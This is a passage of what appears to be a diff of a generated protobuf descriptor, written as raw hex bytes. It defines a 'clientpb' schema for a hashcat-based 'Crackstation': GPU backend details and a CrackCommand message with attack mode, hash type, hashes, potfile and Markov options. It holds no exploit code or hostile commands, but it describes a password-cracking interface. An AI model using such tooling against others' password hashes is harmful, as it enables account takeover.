0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, + 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, + 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, + 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, + 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, + 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, + 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, + 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, + 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, + 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, + 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, + 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, + 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, + 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, + 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, + 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, + 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, + 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, + 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, + 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, + 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, + 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, + 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, + 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, + 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, + 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, + 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, + 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, + 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, + 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, + 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, + 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, + 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, + 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, + 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, + 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, + 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, + 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, + 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, + 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, + 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, + 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, + 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, + 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, + 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, + 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, + 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, + 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, + 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, + 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, + 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, + 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, + 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, + 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, + 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, + 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x17, 0x2e, 